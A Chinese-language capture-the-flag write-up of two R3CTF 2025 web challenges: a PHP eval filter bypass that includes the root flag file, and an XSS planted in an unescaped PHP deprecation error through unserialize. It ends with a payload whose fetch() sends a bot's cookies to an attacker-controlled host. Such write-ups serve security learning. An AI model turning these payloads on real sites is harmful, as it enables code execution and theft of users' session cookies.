Featured image of post 2025R3CTF复现

2025R3CTF复现

2025R3CTF复现

Evalgelist

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
        if (isset($_GET['input'])) {
            echo '<div class="output">';

            $filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
            $cmd = $filtered . '();';
            
            echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";
            
            echo '<strong>Execution Result:</strong>' . "\n";
            echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';
            
            try {
                ob_start();
                eval($cmd);
                $result = ob_get_clean();
                
                if (!empty($result)) {
                    echo '<span class="success">✅ Function executed successfully!</span>' . "\n";
                    echo htmlspecialchars($result);
                } else {
                    echo '<span class="success">✅ Function executed (no output)</span>';
                }
            } catch (Error $e) {
                echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';
            } catch (Exception $e) {
                echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';
            }
            
            echo '</div>';
            echo '</div>';
        }
        ?>

get传input,过滤了这些

1
2
$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
$cmd = $filtered . '();';

分号没过滤,可以拼接语句,把无参函数放在末尾,而且没禁用include,看docker-entrypoint.shflag在根目录,而且就叫flag

现在就是要获取/,发现某些常量可以用来拼字符串,比如 PHP_BINARY可以拿到/ ,al,剩下的f和g可以直接裸字符。因为PHP_BINARY返回当前 PHP 解释器的完整绝对路径,web目录也是/var/www/html,所以可以直接获取这些字符

payload

1
include PHP_BINARY[0].f.PHP_BINARY[8].PHP_BINARY[5].g;getcwd

后面这个函数只要是无参就行

Silent Profit

这题参考两个佬的wp:

index.php

1
2
3
<?php 
show_source(__FILE__);
unserialize($_GET['data']);

bot.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const puppeteer = require('puppeteer');

const app = express();
app.use(express.urlencoded({ extended: false }));


const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;

app.post('/report', async (req, res) => {
  const { url } = req.body;

  if (!url || !url.startsWith('http://challenge/')) {
    return res.status(400).send('Invalid URL');
  }

  try {
    console.log(`[+] Visiting: ${url}`);
    const browser = await puppeteer.launch({
      headless: 'new',
      args: [
        '--no-sandbox',
        '--disable-setuid-sandbox',
      ]
    });

    await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });
    const page = await browser.newPage();
    await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });
    await page.waitForNetworkIdle({timeout: 5000})
    await browser.close();
    res.send('URL visited by bot!');
  } catch (err) {
    console.error(`[!] Error visiting URL:`, err);
    res.status(500).send('Bot error visiting URL');
  }
});

app.get('/', (req, res) => {
  res.send(`
    <h2>XSS Bot</h2>
    <form method="POST" action="/report">
      <input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" />
      <button type="submit">Submit</button>
    </form>
  `);
});

app.listen(PORT, () => {
  console.log(`XSS bot running at port ${PORT}`);
});

就是用data传参打xss,而php代码非常简单,只有反序列化,想到打Error类似的原生类来xss,但是这种打法需要代码有echo来触发内置的toString,所以显然不行

直接开启index.php那个靶机会有报错

image-20250710172059546

我们直接搜索php unserialize error关键词,直接找到这篇文章

[PHP RFC: Improve unserialize() error handling]

里面介绍了四种报错

1
2
3
4
5
6
unserialize('foo'); // Notice: unserialize(): Error at offset 0 of 3 bytes in php-src/test.php on line 3
unserialize('i:12345678901234567890;'); // Warning: unserialize(): Numerical result out of range in php-src/test.php on line 4
unserialize('E:3:"foo";'); // Warning: unserialize(): Invalid enum name 'foo' (missing colon) in php-src/test.php on line 5
                           // Notice: unserialize(): Error at offset 0 of 10 bytes in php-src/test.php on line 5
unserialize('E:3:"fo:";'); // Warning: unserialize(): Class 'fo' not found in php-src/test.php on line 7
                           // Notice: unserialize(): Error at offset 0 of 10 bytes in php-src/test.php on line 7

其中

1
2
unserialize('E:3:"foo";'); 
unserialize('E:3:"fo:";');

这种类型的报错信息我们是可控的,直接尝试xss

1
E:39:"<script>alert(document.domain)</script>";

没触发,报错信息如下

image-20250710172758780

curl发现<>标签被html转义了,在docker-compose.yml,我们php版本是php:8-apache

去docker官网查看版本[Docker image php:8-apache]

php8.4.10,直接跟进源码找报错信息Invalid enum name相关的

1
2
3
4
5
6
7
"E:" uiv ":" ["] {
  [...]
  char *colon_ptr = memchr(str, ':', len);
  if (colon_ptr == NULL) {
    php_error_docref(NULL, E_WARNING, "Invalid enum name '%.*s' (missing colon)", (int) len, str);
    return 0;
  }

跟进php_error_docref

1
2
3
4
PHPAPI ZEND_COLD void php_error_docref(const char *docref, int type, const char *format, ...)
{
  php_error_docref_impl(docref, type, format);
}

跟进php_error_docref_impl

1
2
3
4
5
6
7
8
/* {{{ php_error_docref */
/* Generate an error which links to docref or the php.net documentation if docref is NULL */
#define php_error_docref_impl(docref, type, format) do {\
    va_list args; \
    va_start(args, format); \
    php_verror(docref, "", type, format, args); \
    va_end(args); \
  } while (0)

跟进php_verror

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
zend_string *buffer = vstrpprintf(0, format, args);

  if (PG(html_errors)) {
    zend_string *replace_buffer = escape_html(ZSTR_VAL(buffer), ZSTR_LEN(buffer));
    zend_string_free(buffer);

    if (replace_buffer) {
      buffer = replace_buffer;
    } else {
      buffer = zend_empty_string;
    }

跟进escape_html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
static zend_string *escape_html(const char *buffer, size_t buffer_len) {
  zend_string *result = php_escape_html_entities_ex(
    (const unsigned char *) buffer, buffer_len, 0, ENT_COMPAT,
    /* charset_hint */ NULL, /* double_encode */ 1, /* quiet */ 1);
  if (!result || ZSTR_LEN(result) == 0) {
    /* Retry with substituting invalid chars on fail. */
    result = php_escape_html_entities_ex(
      (const unsigned char *) buffer, buffer_len, 0, ENT_COMPAT | ENT_HTML_SUBSTITUTE_ERRORS,
      /* charset_hint */ NULL, /* double_encode */ 1, /* quiet */ 1);
  }
  return result;
}

所以结论就是php_error_docref函数最终就是会将输入的字符转义

搜索error相关函数

  • php_error
  • php_error_docref
  • php_error_docref1
  • php_error_docref2
  • zend_error
  • php_verror

由于前面的基本都跟进过了,我们跟进zend_error看看,

1
2
3
ZEND_API ZEND_COLD void zend_error(int type, const char *format, ...) {
  zend_error_impl(type, format);
}

同样是不断跟进

1
2
3
4
5
6
7
8
9
#define zend_error_impl(type, format) do { \
    zend_string *filename; \
    uint32_t lineno; \
    va_list args; \
    get_filename_lineno(type, &filename, &lineno); \
    va_start(args, format); \
    zend_error_va_list(type, filename, lineno, format, args); \
    va_end(args); \
  } while (0)
1
2
3
4
5
6
7
8
static ZEND_COLD void zend_error_va_list(
    int orig_type, zend_string *error_filename, uint32_t error_lineno,
    const char *format, va_list args)
{
  zend_string *message = zend_vstrpprintf(0, format, args);
  zend_error_zstr_at(orig_type, error_filename, error_lineno, message);
  zend_string_release(message);
}

最后得到它的报错信息

1
2
zend_error(E_DEPRECATED, "Creation of dynamic property %s::$%s is deprecated",
              ZSTR_VAL(obj->ce->name), zend_get_unmangled_property_name(Z_STR_P(&key)));

显然它不会进行转义,想办法造成报错,然后填参数就能xss

根据这篇[this PHP.Watch post]

PHP类可以动态设置和获取未在类中声明的类属性。然而,从PHP 8.2版及以上版本开始,不建议将值设置为未声明的类属性。应该说是直接废弃了这种办法,如果我们获取就会抛出报错

文章给了一个demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
class User {
    private int $uid;
}

$user = new User();
$user->name = 'Foo';

或者
    
class User {
    public function __construct() {
        $this->name = 'test';
    }
}

new User();

直接抛出报错name,刚好就是我们想要的报错类型

1
Deprecated: Creation of dynamic property User::$name is deprecated in ... on line ...

我们起一个服务测试一下

1
2
3
4
5
6
<?php 
show_source(__FILE__);
class foo{
    
}
unserialize($_GET['data']);

然后传入序列化字符串O:3:"foo":1:{s:3:"bar";}

image-20250710175653865

成功报错,现在只需要寻找一个允许反序列化的类,按照上面的办法本地来试试xss

1
2
3
4
<?php 
show_source(__FILE__);
var_dump(get_declared_classes());
unserialize($_GET['data']);

get_declared_classes获取当前声明的类,版本一定要对8.4

这里跟着两个佬的wp,他们分别用SplFixedArrayPhpToken

实际上你只需要找一个可能允许反序列化的类就行了

SplFixedArray内置了一个wakeup方法

1
O:13:"SplFixedArray":1:{s:3:"foo";N;}

测试一下发现其他报错消失了,而且报错信息可控了

直接xss

1
O:13:"SplFixedArray":1:{s:39:"<script>alert(document.domain)</script>";N;}

image-20250710181759022

如果是用别的也一样

1
O:8:"PhpToken":1:{s:39:"<script>alert(document.domain)</script>";N;}

接下来就是正常流程了,vps起个监听端口,然后弹cookie就行了

1
<script>fetch(`//ip:port/?${document.cookie}`)</script>

用PhpToken打的payload

1
http://challenge/?data=O:8:"PhpToken":1:{s:71:"<img src= x onerror=fetch(`//192.168.80.128/?flag=${document.cookie}`)>";}
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计